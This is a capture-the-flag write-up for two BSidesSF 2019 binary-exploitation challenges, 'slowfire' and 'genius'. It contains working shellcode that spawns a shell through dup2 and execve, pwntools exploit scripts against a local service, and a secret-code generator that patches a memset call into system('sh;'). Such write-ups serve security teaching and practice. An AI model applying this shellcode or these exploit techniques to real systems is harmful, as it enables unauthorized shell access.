---
# System prepended metadata

title: BSidesSF 2019 CTF
tags: [2019 pwn challenge]

---

# BSidesSF 2019 CTF
###### tags: `2019 pwn challenge`
## slowfire
A basic bof problem, but the binary is like a server that forks the process and talks to it via a file descriptor.

We have to use dup2() to duplicate the socket's fd to fd 0 and fd 1, such that when we execute our shellcode, we can send input and see output from our shell.

I set the name to `/bin/sh\x00 + shellcode`, and return to it since it has RWX turned on.

#### shellcode
```
0:  48 31 f6                xor    rsi,rsi
3:  48 c7 c0 21 00 00 00    mov    rax,0x21
a:  0f 05                   syscall
c:  48 ff c6                inc    rsi
f:  48 c7 c0 21 00 00 00    mov    rax,0x21
16: 0f 05                   syscall
18: 48 c7 c7 c0 40 40 00    mov    rdi,0x4040c0
1f: 48 31 f6                xor    rsi,rsi
22: 48 31 d2                xor    rdx,rdx
25: 48 c7 c0 3b 00 00 00    mov    rax,0x3b
2c: 0f 05                   syscall
```
#### final script
```python=
from pwn import *
p = remote('localhost', 4141)
shellcode = "\x48\x31\xF6\x48\xC7\xC0\x21\x00\x00\x00\x0F\x05\x48\xFF\xC6\x48\xC7\xC0\x21\x00\x00\x00\x0F\x05\x48\xC7\xC7\xC0\x40\x40\x00\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"
p.recvuntil('name> ')
p.sendline('/bin/sh\x00'+shellcode)

p.recvuntil('message> ')
p.send('A'*0x3ff)
pause()
p.sendline('B'*0x39+p64(0x4040C0+8))
p.interactive()
```

## genius
The challenge gave us two binaries. The 'loader' reads the 'genius' on stack, then we can modify two bytes and exectue it.

The 'genius' binary doesn't seem to have any bugs, so we would have to patch the binary to make it exploitable.

Lets first look at how the patching is done. We can enter a secret code, each letter gets transfered into a 4 bit number, and each secret code(consist of 6 letters) represents an offset and a byte which we want to modify into. The rules looks like this
> offset = (v4 & 7|v3 & 8) | (v2 & 7 | v1 & 8)<<4 | (v5 & 7 | v4 & 8)<<8 | (v3 & 7)<<12
> byte = (v0 & 7 | v5 & 8) | (v1 & 7 | v0 & 8)<<4
> v0~5 are the first, second... last letter transfered to numbers 

The first thing that caught my eye was the memset function called when we end the game. We also have the system.plt function. We can modify the call to memset to a call to system.

The second thing we would like to do is have the tetris board state to represent 'sh;' so the call to memset now becomes `system('sh;')`
![](https://i.imgur.com/i1dajRJ.png)

Because it is pretty hard to represent 'sh;' at the lower board of tetris, we can modify the `push game_board_offset` to a higher offset so that we can focus on constructing the middle board state like the screenshot above.
> patch push 0x0804b1a0 --> 0x0804b1ab


I'm really bad at playing tetris so I copied the gameplay code by [this writeup](https://github.com/VoidHack/write-ups/tree/master/BSidesSF%202019%20CTF/pwn/genius)

secret code generator:
```python=
trans = {'A':0,'E':8,'G':4,'I':5,'K':12,'L':3,'N':15,'O':9,'P':1,'S':13,'T':6,'U':11,'V':14,'X':10,'Y':7,'Z':2}
def gen_code(offset, byte):
	assert offset <= 0x2730
	off_1 = offset & 0xf
	off_2 = offset >> 4 & 0xf
	off_3 = offset >> 8 & 0xf
	off_4 = offset >> 12 & 0xf
	b_1 = byte & 0xf
	b_2 = byte >> 4 & 0xf
	
	v0 = b_1 & 0x7 | b_2 & 0x8
	v1 = b_2 & 0x7 | off_2 & 0x8
	v2 = off_2 & 0x7
	v3 = off_1 & 0x8 | off_4 & 0x7
	v4 = off_1 & 0x7 | off_3 & 0x8
	v5 = off_3 & 0x7 | b_1 & 0x8
	
	num_to_code = {}
	for key, val in trans.items():
		num_to_code[val] = key
	res = num_to_code[v0]+num_to_code[v1]+num_to_code[v2]+num_to_code[v3]+num_to_code[v4]+num_to_code[v5]
	
	print res
	return res
```

exploit script:
```python=
from secret_code import gen_code
from pwn import *
context.terminal = ['tmux','splitw','-h']
#context.log_level = 'DEBUG'


p = process('./loader')

p.recvuntil('continue!\n\n')
p.sendline(gen_code(0x1551, 0x8b))

p.recvuntil('<enter>\n')
p.sendline(gen_code(0x154c, 0xab))

#gdb.attach(p, '''
#set follow-fork-mode child
#continue
#''')

p.recvuntil('+----------+')
p.recvuntil('+----------+')
##
##
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
##
#
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('e')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

##
##
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
##
#
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
##
#
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('q')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

##
##
p.sendline('d')
p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
##
#
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('e')
p.sendline('a')
p.sendline('a')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('e')
p.sendline('d')
p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('q')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
##
#
p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('q')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

####
p.sendline('q')
p.sendline('d')
p.sendline('d')
# p.sendline('s')

for i in range(13):
	p.recvuntil('+----------+')
	p.recvuntil('+----------+')

p.sendline('d')
p.sendline('s')

p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
##
#
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

##
##
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('q')
p.sendline('q')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
##
#
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

####
p.sendline('q')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('e')
p.sendline('e')
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('e')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('q')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('a')
p.sendline('a')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

#
###
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('a')
p.sendline('q')
p.sendline('a')
p.sendline('a')
for i in range(8):
	p.recvuntil('+----------+')
	p.recvuntil('+----------+')

p.sendline('d')
p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')

p.sendline('s')
p.recvuntil('+----------+')
p.recvuntil('+----------+')


p.interactive()
```
